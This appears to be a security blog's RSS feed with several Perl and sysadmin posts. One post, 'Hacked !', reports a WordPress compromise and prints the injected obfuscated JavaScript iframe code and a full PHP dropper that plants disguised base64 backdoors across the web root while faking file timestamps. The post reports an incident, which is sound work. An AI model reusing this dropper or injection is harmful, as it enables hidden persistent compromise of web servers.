<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Phocean.net / Computer Security &#187; Perl</title>
	<atom:link href="http://www.phocean.net/category/scripts-programs/perl/feed" rel="self" type="application/rss+xml" />
	<link>http://www.phocean.net</link>
	<description>&#34;A defense that hedgehogs possess is the ability to roll into a tight ball, causing all of the spines to point outwards.&#34; -- Wikipedia</description>
	<lastBuildDate>Wed, 30 Nov 2011 22:02:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Hostcheck</title>
		<link>http://www.phocean.net/2010/01/15/hostcheck.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=hostcheck</link>
		<comments>http://www.phocean.net/2010/01/15/hostcheck.html#comments</comments>
		<pubDate>Fri, 15 Jan 2010 12:44:21 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Scripts, Programs]]></category>
		<category><![CDATA[Hostcheck]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[scanner]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=696</guid>
		<description><![CDATA[I continue to publish some my coding. Hostcheck is a simple Perl script that can be useful to quickly check if a list of host is up. It just read a host file and check if the host are available doing a ping test or trying to open a socket. Nothing great, but it may [...]]]></description>
			<content:encoded><![CDATA[<p>I continue to publish some my coding.</p>
<p>Hostcheck is a simple Perl script that can be useful to quickly check if a list of host is up.<br />
It just read a host file and check if the host are available doing a ping test or trying to open a socket.</p>
<p>Nothing great, but it may help to quickly check that most of things are right after a network change, for instance.<br />
Because we want to test many hosts, and not to scan, the pace is fast so it may not be 100% reliable. The idea is to see roughly is the connectivity is correct or if your whole LAN is down.<br />
It uses colors and is easy to read, so it might be good to show to your manager ! <img src='http://www.phocean.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I hope it will be useful. More info and download link are <a title="Hostcheck" href="http://www.phocean.net/tools/hostcheck">there</a>.</p>
<p><a href="http://www.phocean.net/wp-content/uploads/2010/01/hostcheck.png"><img class="aligncenter size-full wp-image-700" title="hostcheck" src="http://www.phocean.net/wp-content/uploads/2010/01/hostcheck.png" alt="" width="651" height="401" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/01/15/hostcheck.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacked !</title>
		<link>http://www.phocean.net/2008/06/03/hacked.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=hacked</link>
		<comments>http://www.phocean.net/2008/06/03/hacked.html#comments</comments>
		<pubDate>Tue, 03 Jun 2008 20:25:25 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Cisco]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=109</guid>
		<description><![CDATA[This blog got hacked yesterday. It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress. It was not just like the classic SQL injection that is usually used to post some malicious post. The following code was added : It make me think that there is a [...]]]></description>
			<content:encoded><![CDATA[<p>This blog got hacked yesterday.</p>
<p>It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress.<br />
It was not just like the classic SQL injection that is usually used to post some malicious post.</p>
<p>The following code was added :</p>
<pre class="brush: php; title: ; notranslate">&lt;?php echo '&lt;script type=&quot;text/javascript&quot;&gt;function count(str){var res = &quot;&quot;;for(i = 0; i &lt; str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(&quot;&gt;khtcog\&quot;ute?jvvr&lt;11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\&quot;ykfvj?3\&quot;jgkijv?3\&quot;htcogdqtfgt?2@&quot;));&lt;/script&gt;';?&gt;</pre>
<p><span id="more-109"></span></p>
<p>It make me think that there is a serious vulnerability somewhere on WordPress or a plugin, though my versions were up-to-date.</p>
<p>Now the blog is back to normal, after a clean reinstallation (erased all the former files).</p>
<p><a title="Wordpress, hacked" href="http://wordpress.org/support/topic/179428/page/2" target="_blank">I am not the only one to experience this mess</a>.</p>
<p>For now, the blog is running with a minimal number of plugin &#8211; just akismet, actually &#8211; until the cause of that gets clearer.</p>
<p>Not a lot of plugins runned before, so it mainly means that the OpenID support for authentication is cut off.</p>
<p>As my php knowledge is very low, anyone having some tips is welcome. I love WordPress, I would like to avoid looking for another platform or switch to static html !</p>
<p>&#8211;</p>
<p><strong>UPDATE 06/13/2008 :</strong><br />
As C.S Lee suggested in a comment, there were a very suspicious wp-stats.php file in the root of my hacked archive.</p>
<p>There is the code :</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php

@error_reporting(E_ALL);
@set_time_limit(0);
mt_srand(crc32(microtime()));

define('SHCODE', 'PDaWYgKCRjb2RlID0gQGZyZWFkKEBmb3BlbigkSFRUCmVjaG8gIjwvcHJlPiI7Cj8+');

$pres = array('lib_','co_','pre_','net_','func_','ad_','ext_','new_','old_','fix_','fixed_','na_','av_','fx_');
$fui = $pres[array_rand($pres)];

global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8, 7, 6, 6, 5, 5, 5, 5, 0);

function my_fwrite($f, $data) {
  global $CURFILE;
  $file_mtime = @filemtime($f);
  $file_atime = @fileatime($f);
  $dir_mtime = @filemtime(@dirname($f));
  $dir_atime = @fileatime(@dirname($f));
  if ($file_h = @fopen($f, &quot;wb&quot;)) {
    @fwrite($file_h, $data); @fclose($file_h);
    if ($file_mtime) {
      @touch($f, $file_mtime, $file_atime);
    } elseif (@filemtime($CURFILE)) {
      @chmod($f, @fileperms($CURFILE));
      @touch($f, @filemtime($CURFILE), @fileatime($CURFILE));
      @chgrp($f, @filegroup($CURFILE));
      @chown($f, @fileowner($CURFILE));
    };
    if ($dir_mtime) @touch(@dirname($f), $dir_mtime, $dir_atime);
    return $f;
  } else {
    return '';
  };
};

function ext($f) {
  return substr($f, strrpos($f, &quot;.&quot;) + 1);
};

function walkdir($p, $func='_walkdir', $l=0) {
  global $START;
  global $WD_TIMEOUT;
  global $FL;
  $func_f = &quot;{$func}_f&quot;;
  $func_d = &quot;{$func}_d&quot;;
  $func_s = &quot;{$func}_s&quot;;
  $func_e = &quot;{$func}_e&quot;;
  if ($dh = @opendir(&quot;$p&quot;)) {
    if (function_exists($func_s)) {
      if ($func_s($p, $l)) return 1;
    };
    while ($f = @readdir($dh)) {
      if (time() - $START &gt;= $WD_TIMEOUT[$l] ) break;
      if ($f == '.' || $f == '..' ) continue;
      if (@is_dir (&quot;$p$f/&quot;) ) walkdir(&quot;$p$f/&quot;, $func, $l+1);
      if (@is_dir (&quot;$p$f/&quot;) &amp;&amp; function_exists($func_d))
        $func_d(&quot;$p$f/&quot;, $l);
      if (@is_file(&quot;$p$f&quot; ) &amp;&amp; function_exists($func_f))
        $func_f(&quot;$p$f&quot; , $l);
    };
    closedir($dh);
    if (function_exists($func_e)) $func_e($p, $l);
  };
};

function r_cut($p) {
  global $R;
  return substr($p, strlen($R));
};

function say($t) {
  echo &quot;$t\n&quot;;
};

function testdata($t) {
  say(md5(&quot;mark_$t&quot;));
};

$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'] .
  $HTTP_SERVER_VARS['SCRIPT_NAME'];
echo &quot;&lt;pre&gt;&quot;;
testdata('start');
$fe = ext($CURFILE);
if (!$fe) $fe = 'php';
//$FN = &quot;namogofer.$fe&quot;;

function _walkdir_s($d, $l) {
  global $FCNT;
  $FCNT = array( 'fn' =&gt; '', 'dir' =&gt; 0, 'file' =&gt; 0, 'simtype' =&gt; 0 );
};

function _walkdir_d($d,$l) {
  global $FCNT;
  $FCNT['dir' ]++;
};

function _walkdir_f($f,$l) {
  global $FCNT, $CURFILE;
  $FCNT['file']++;
  if (ext($f) == ext($CURFILE)) $FCNT['simtype']++;
};

function update_passwd($data)
  {
  global $FCNT;
  $password = &quot;&quot;;
  $possible = &quot;abcdefghijklmnopqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&amp;*&quot;;
  $i = 0;
  while ($i &lt; 15)
    {
    $char = substr($possible, mt_rand(0, strlen($possible)-1), 1);
    if (!strstr($password, $char))
      {
      $password .= $char;
      $i++;
      }
    }
  $FCNT['passwd'] = $password;
  $md5password = md5($password);
  return preg_replace(&quot;|define\('PASSWD',\s*'(.*)'|&quot;, &quot;define('PASSWD','$md5password'&quot;, $data);
  }

function notinf($ar, $tx)
  {
  $R = true;
  foreach ($ar as $ca)
    {
    //echo &quot;pass &quot;.substr($tx, 0, strlen($ca)).&quot; in $tx for $ca\n&quot;;
    if (&quot;$ca&quot; == substr($tx, 0, strlen($ca)))
      {
      $R = false;
      //echo &quot;gotcha\n&quot;;
      break;
      }
    }
  return $R;
  }

function _walkdir_e($d,$l)
  {
  global $C, $FCNT, $FN, $fui, $pres;

    $the_data = base64_decode(SHCODE);
    $the_dir = opendir(&quot;$d&quot;);
    $is_php=false;
    if ($the_dir)
        while($cfile = readdir($the_dir))
            {
            if(
                $is_php=

                (('.php' == substr($cfile, -4))and
                 notinf($pres, $cfile)and
                ($cfile!='index.php'))

              )
              {
              $FN = &quot;$fui$cfile&quot;;
              break;
              }
              else
              {
              //echo &quot;pass $cfile\n&quot;;
              }
            }

        if ( $is_php and my_fwrite(&quot;$d$FN&quot;, str_repeat(&quot;\n&quot;,100) . str_repeat('', 150) .
                    update_passwd($the_data . str_repeat(' ', 150) . &quot;\n&quot; . str_repeat(&quot;\n&quot;, 100))))
                    {
                    $FCNT['fn'] = r_cut(&quot;$d$FN&quot;);
                    say(implode(&quot; &quot;, $FCNT));
                    }

  };

walkdir(&quot;$R/&quot;);
testdata('end');
?&gt;</pre>
<p>I will try anyway to put a deeper look when I have a little time : now, I have to go to work.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2008/06/03/hacked.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Perl : how to monitor a service remotely using sockets</title>
		<link>http://www.phocean.net/2007/07/15/perl-how-to-monitor-a-service-remotely-using-sockets.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=perl-how-to-monitor-a-service-remotely-using-sockets</link>
		<comments>http://www.phocean.net/2007/07/15/perl-how-to-monitor-a-service-remotely-using-sockets.html#comments</comments>
		<pubDate>Sun, 15 Jul 2007 17:59:55 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[OpenBSD]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Protocols]]></category>
		<category><![CDATA[IPSEC]]></category>
		<category><![CDATA[Isakmpd]]></category>
		<category><![CDATA[IsakmpdMon]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=64</guid>
		<description><![CDATA[I came to program my first Perl script based on sockets, after setting an IPSEC tunnel.

This tunnel is linking the remote peer and the local peer through an OpenBSD VPN gateway (managed with Isakmp).

The problem is that this connection is limited time, for access right reason. So it is not a 24 hours standard tunnel, but rather an on-demand type connection.

Note that the connection is automatically reseted by the remote peer, by invaliding the cookie of the connection and therefore obliging to renegotiate the VPN tunnel from the beginning : phase 1 of the key exchange.

In one word, the Isakmp service has to be restarted every time we need the tunnel to be up.

Of course, this is not the purpose of Isakmp to have such a mecanism and what is interesting is to start the tunnel from the local peer, every time it needs to do some transfer.

The graph below summarizes the situation :

IPSEC tunnel with OpenBSD as a VPN gateway

That why I came to develop a script that listen on a socket and allow that peer to remotely restart the Isakmp service.]]></description>
			<content:encoded><![CDATA[<p>I came to program my first Perl script based on sockets, after setting an IPSEC tunnel.</p>
<p>This tunnel is linking the remote peer and the local peer through an OpenBSD VPN gateway (managed with Isakmp).</p>
<p>The problem is that time allowed for this connection is limited, for security policy reasons. So it is not a 24- hour standard tunnel, but rather an on-demand type connection.</p>
<p>Note that the connection is automatically reset by the remote peer, by invalidating the connection cookie and therefore oblige to renegotiate the VPN tunnel from the beginning (phase 1 of the key exchange).</p>
<p>In other words, the Isakmp service has to be restarted every time we need the tunnel to be up.</p>
<p>Of course, it is not the purpose of Isakmp to have such a mechanism and what we want is to start the tunnel from the local peer, every time it needs to do some transfer.</p>
<p>The graph below summarizes the situation :</p>
<p style="text-align: center;"><img src="http://www.phocean.net/wp-content/uploads/2007/07/ipsec-tunnel.png" alt="IPSEC tunnel with OpenBSD as a VPN gateway" /></p>
<p>That is why I came to develop a script that opens a socket and allows the peer to remotely restart the Isakmp service.</p>
<p><span id="more-64"></span></p>
<p>Perl is once again the perfect language for someone like me, who is not a developer. My script uses mainly 2 CPAN modules : <a title="NetServer::generic" href="http://http://search.cpan.org/~chstross/NetServer-Generic-1.03/Generic.pm" target="_blank">NetServer::Generic</a> to manage the socket and <a title="Proc::ProcessTable" href="http://search.cpan.org/~durist/Proc-ProcessTable-0.41/ProcessTable.pm" target="_blank">Proc::ProcessTable</a> to get the PID of a running process.</p>
<p>You can dowload it here : <strong><a title="IsakmpdMon" href="http://www.phocean.net/wp-content/uploads/2007/07/isakmpdmon.zip">IsakmpdMon</a></strong>.</p>
<p>And here is the documentation on how to use it : <a title="IsakmpdMon Synopsys" href="http://www.phocean.net/wp-content/uploads/2007/07/isakmpdmon.html"><strong>IsakmpdMon Synopsys</strong>.</a></p>
<p><strong>ATTENTION</strong> : for security reason, only trusted IPs should be allowed to send the commands.</p>
<p>To have your commands accepted, edit the line :</p>
<pre class="brush: perl; title: ; notranslate">my ($allowed) = ['10\.80\.1\.2'];</pre>
<p>with your IPs. It can be a list of IPs or hostnames separated by commas. You can use some jockers (*) for the names. Please refer to the <a title="NetServer::generic" href="http://http://search.cpan.org/~chstross/NetServer-Generic-1.03/Generic.pm" target="_blank">NetServer::Generic</a> documentation for more info.</p>
<p>Note that this script can be adapted to any usage to manage all kinds of services remotely&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2007/07/15/perl-how-to-monitor-a-service-remotely-using-sockets.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to strip the attachment from an IMAP mail</title>
		<link>http://www.phocean.net/2007/06/03/how-to-strip-the-attachment-from-an-imap-mail.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=how-to-strip-the-attachment-from-an-imap-mail</link>
		<comments>http://www.phocean.net/2007/06/03/how-to-strip-the-attachment-from-an-imap-mail.html#comments</comments>
		<pubDate>Sun, 03 Jun 2007 16:09:21 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Perl]]></category>
		<category><![CDATA[attachment-stripper]]></category>
		<category><![CDATA[IMAP]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=53</guid>
		<description><![CDATA[While trying hard long and long hours to write a perl script that can extract attachments from pieces of e-mail, I realized that there were no clear info on the web on how to do, and that if I successed, I would publish that script.

Finally I succeded. That is actually very easy and that is probably why nothing was ever published about it. But, when you are a beginner in Perl (I learned it in 1 week), you normally need a little bit more help. Also, I was not alone in that case and there were a numerous questions on various forum, but without satisfying answers.]]></description>
			<content:encoded><![CDATA[<p>While trying hard long and long hours to write a perl script that can extract attachments from pieces of e-mail, I realized that there were no clear info on the web on how to do, and that if I successed, I would publish that script.</p>
<p>Finally I succeded. That is actually very easy and that is probably why nothing was ever published about it. But, when you are a beginner in Perl (I learned it in 1 week), you normally need a little bit more help. Also, I was not alone in that case and there were a numerous questions on various forum, but without satisfying answers.</p>
<p><span id="more-53"></span> As I said, my script is extrimely simple.</p>
<p>It is based on the Mail::IMAPTalk module to establish the IMAP connection and on the MIME::Parser module to parse the mail as a MIME object (given by the first module).</p>
<p>I know there is a dedicated CPAN module to strip attachment : Mail::Attachment::Stripper, but, I could never get it to work and the author did not answer to my e-mail.</p>
<p>You will find the script here with some comments that should explain well :</p>
<p><a title="attachment-stripper.zip" href="http://www.phocean.net/wp-content/uploads/2007/06/attachment-stripper.zip">attachment-stripper.zip</a><a title="attachment stripper.pl" rel="attachment wp-att-54" href="http://www.phocean.net/?attachment_id=54"> </a></p>
<p>Of course, that is just a quick and dirty base : it is up to you to improve / correct / extend it to fit your needs. If so, be nice to update me here. <img src='http://www.phocean.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <!--more--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2007/06/03/how-to-strip-the-attachment-from-an-imap-mail.html/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>OpenVPN and DNS on a linux client</title>
		<link>http://www.phocean.net/2006/12/07/openvpn-and-dns-on-a-linux-client.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=openvpn-and-dns-on-a-linux-client</link>
		<comments>http://www.phocean.net/2006/12/07/openvpn-and-dns-on-a-linux-client.html#comments</comments>
		<pubDate>Thu, 07 Dec 2006 16:42:00 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Protocols]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[OpenVPN]]></category>

		<guid isPermaLink="false">http://192.168.1.10/wordpress/?p=12</guid>
		<description><![CDATA[<p>I got a weired issue with Linux clients while it worked fine with Windows machines. For some reason, the /etc/resolv.conf did not get updated.</p> <p>I found out a workaround thanks to <a hreflang="en" href="http://www.smop.co.uk/node/69">this page</a>.</p> Of course, your server configuration file must contain (if 192.168.1.1 is your DNS server):<br /><blockquote><p><code>push &#34;dhcp-option DNS 192.168.1.1&#34;</code></p> </blockquote><br />]]></description>
			<content:encoded><![CDATA[<p>I got a weired issue with Linux clients while it worked fine with Windows machines. For some reason, the /etc/resolv.conf did not get updated.  I found out a workaround thanks to <a hreflang="en" href="http://www.smop.co.uk/node/69">this page</a>.  Of course, your server configuration file must contain (if 192.168.1.1 is your DNS server):</p>
<pre class="brush: plain; title: ; notranslate">push &quot;dhcp-option DNS 192.168.1.1&quot;</pre>
<p><span id="more-12"></span> First, you will need the resolvconf program. In debian :</p>
<pre class="brush: plain; title: ; notranslate">$ apt-get install resolvconf</pre>
<p>Then, you will need to add these lines into the configuration file of your Linux client (let&#8217;s say /etc/openvpn/client.conf) : </p>
<pre class="brush: plain; title: ; notranslate">up /etc/openvpn/domain.up plugin /usr/lib/openvpn/openvpn-down-root.so /etc/openvpn/domain.down</pre>
<p>The plugin provided by OpenVpn gives back root privilege (when initialized, OpenVPN needs root access but drops it soon).<br />
Now let&#8217;s create the scripts :  </p>
<p><strong>/etc/openvpn/domain.up</strong> : </p>
<pre class="brush: bash; title: ; notranslate"> #!/bin/sh
    # really naff script to add nameserver entry on up
    DEV=$1
    set | sed -n &quot;      s/^foreign_option_.* DNS \(.*\)'/nameserver \1/; T next; p;
    :next; s/^foreign_option_.* DOMAIN \(.*\)'/domain \1/; T; p;
      &quot; | resolvconf -a $DEV
    resolvconf -u</pre>
<p><strong>/etc/openvpn/domain.dow</strong>n : </p>
<pre class="brush: bash; title: ; notranslate"> #!/bin/sh
  # really naff script to delete nameserver entry on down
  DEV=$1
  resolvconf -d $DEV
  resolvconf -u</pre>
<p>Now let&#8217;s give them the suitable rights :</p>
<pre class="brush: plain; title: ; notranslate">$ chmod +x domain*</pre>
<p>Finally, just restart openvpn and that should be fine !</p>
<p><strong>UPDATE</strong> <strong>2008/07/11</strong> : The two scripts above are kind of obsolete, because, at least in Debian Etch, a similar script is included in the OpenVPN package.</p>
<p>There it is :</p>
<pre class="brush: bash; title: ; notranslate">
#!/bin/bash
#
# Parses DHCP options from openvpn to update resolv.conf
# To use set as 'up' and 'down' script in your openvpn *.conf:
# up /etc/openvpn/update-resolv-conf
# down /etc/openvpn/update-resolv-conf
#
# Used snippets of resolvconf script by Thomas Hood &lt;jdthood@yahoo.co.uk&gt;
# and Chris Hanson
# Licensed under the GNU GPL.  See /usr/share/common-licenses/GPL.
#
# 05/2006 chlauber@bnc.ch
#
# Example envs set from openvpn:
# foreign_option_1='dhcp-option DNS 193.43.27.132'
# foreign_option_2='dhcp-option DNS 193.43.27.133'
# foreign_option_3='dhcp-option DOMAIN be.bnc.ch'

[ -x /sbin/resolvconf ] || exit 0

case $script_type in

up)
	for optionname in ${!foreign_option_*} ; do
		option=&quot;${!optionname}&quot;
		echo $option
		part1=$(echo &quot;$option&quot; | cut -d &quot; &quot; -f 1)
		if [ &quot;$part1&quot; == &quot;dhcp-option&quot; ] ; then
			part2=$(echo &quot;$option&quot; | cut -d &quot; &quot; -f 2)
			part3=$(echo &quot;$option&quot; | cut -d &quot; &quot; -f 3)
			if [ &quot;$part2&quot; == &quot;DNS&quot; ] ; then
				IF_DNS_NAMESERVERS=&quot;$IF_DNS_NAMESERVERS $part3&quot;
			fi
			if [ &quot;$part2&quot; == &quot;DOMAIN&quot; ] ; then
				IF_DNS_SEARCH=&quot;$part3&quot;
			fi
		fi
	done
	R=&quot;&quot;
	if [ &quot;$IF_DNS_SEARCH&quot; ] ; then
        	R=&quot;${R}search $IF_DNS_SEARCH&quot;
	fi
	for NS in $IF_DNS_NAMESERVERS ; do
        	R=&quot;${R}nameserver $NS&quot;
	done
	echo -n &quot;$R&quot; | /sbin/resolvconf -a &quot;${dev}.inet&quot;
	;;
down)
	/sbin/resolvconf -d &quot;${dev}.inet&quot;
	;;
esac
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2006/12/07/openvpn-and-dns-on-a-linux-client.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
	</channel>
</rss>

